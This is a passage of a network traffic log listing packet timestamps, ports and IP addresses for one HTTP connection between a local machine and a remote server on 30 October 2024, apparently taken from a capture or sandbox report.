Oct 30, 2024 15:44:46.021991014 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022032022 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.022041082 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022073030 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022108078 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022113085 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.022140026 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022173882 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022182941 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.022206068 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022239923 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022244930 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.022273064 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022309065 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022314072 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.022341013 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022375107 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022380114 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.022408009 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022440910 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022445917 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.022475004 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022510052 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022540092 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.022743940 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022794962 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022806883 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.022829056 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022880077 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.022880077 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022927999 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.022977114 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023010015 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023036003 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.023044109 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023058891 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.023076057 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023113012 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023147106 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023180962 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023205042 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.023214102 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023248911 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023308039 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.023509979 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023557901 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.023562908 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023612976 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023648024 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023653030 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.023679972 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023715019 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023720026 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.023751974 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023792028 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.023799896 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023833990 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023866892 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023874998 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.023900986 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023933887 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023940086 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.023967028 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.023999929 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024003029 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.024034023 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024066925 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024075985 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.024102926 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024136066 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024142981 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.024171114 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024210930 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.024389029 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024422884 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024472952 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.024503946 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024537086 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024570942 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024576902 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.024605036 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024643898 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.024655104 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024688005 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024723053 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024728060 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.024755955 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024789095 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024792910 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.024821043 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024854898 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024862051 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.024888992 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024923086 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024928093 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.024955988 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024990082 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.024996996 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.025022984 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.025057077 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.025063038 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.025731087 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.025746107 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.025762081 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.025778055 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.025789022 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.025793076 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.025800943 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.025809050 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.025815010 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.025815964 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.025840044 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.025846958 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.025856018 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.025871038 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.025887012 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.025892973 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.025902033 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.025921106 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.025927067 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.025937080 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.025954008 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.026004076 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026031971 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.026050091 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026066065 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026099920 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.026130915 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026145935 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026170969 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026180983 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.026186943 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026202917 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026216984 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.026226997 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026242971 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026257038 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026268005 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.026272058 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026293993 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.026295900 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026320934 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026330948 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.026335955 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026344061 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026359081 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026377916 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.026384115 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026398897 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026413918 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.026413918 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.026434898 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.027017117 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027064085 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.027081966 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027096987 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027108908 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027116060 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027131081 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027141094 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.027158022 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027173042 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.027173996 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027194023 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.027220011 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027235031 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027249098 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027255058 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.027271986 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027283907 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.027287006 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027309895 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027333021 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.027333975 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027348995 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027364016 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027369976 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.027379036 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027399063 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.027404070 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027419090 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027442932 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.027914047 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027939081 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.027961969 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.028022051 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.028043032 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.028054953 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.028059006 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.028083086 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.028099060 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.028114080 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.028121948 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.028135061 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.028136969 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.028151989 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.028171062 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.028176069 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.028187037 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.028208017 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.028491020 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.028517962 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.028529882 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030085087 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030133963 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030137062 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030153036 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030186892 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030188084 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030203104 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030225992 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030236959 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030241013 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030256987 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030275106 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030308008 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030323982 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030339956 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030343056 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030354023 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030369043 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030370951 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030411959 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030459881 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030476093 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030492067 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030507088 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030509949 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030529022 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030544043 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030545950 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030559063 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030577898 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030581951 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030597925 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030612946 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030616045 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030637026 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030651093 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030652046 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030659914 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030667067 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030680895 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030694008 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030695915 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030713081 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030719995 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030728102 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030739069 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030742884 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030769110 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030807018 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030822039 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030838013 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030846119 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030853033 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030868053 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030873060 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030883074 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030900955 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030903101 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030915976 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030931950 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030935049 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030946016 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030962944 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030970097 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.030977964 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.030994892 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.031481028 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031497955 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031513929 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031517982 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.031538963 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031544924 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.031553984 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031569958 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031584024 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031590939 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.031608105 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031620979 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.031622887 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031640053 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031655073 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031658888 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.031668901 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031692028 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031697035 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.031708956 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031723976 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031728029 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.031747103 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031761885 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031766891 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.031778097 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031795025 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031801939 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.031811953 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031827927 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031837940 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.031843901 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.031867027 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.032463074 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032479048 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032494068 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032509089 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.032608032 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.032643080 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032658100 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032674074 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032697916 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032713890 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.032721043 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032732964 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.032736063 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032751083 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032764912 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032772064 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.032780886 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032794952 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032809973 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032814026 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.032824993 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032835007 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.032841921 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032857895 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032860994 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.032874107 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032888889 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032905102 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.032906055 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032921076 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032927990 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.032936096 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.032954931 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.033433914 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.033535957 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.033550978 CET	80	49995	147.45.47.81	192.168.2.6
Oct 30, 2024 15:44:46.033564091 CET	49995	80	192.168.2.6	147.45.47.81
Oct 30, 2024 15:44:46.033575058 CET	80	49995	147.45.47.81	192.168.2.6
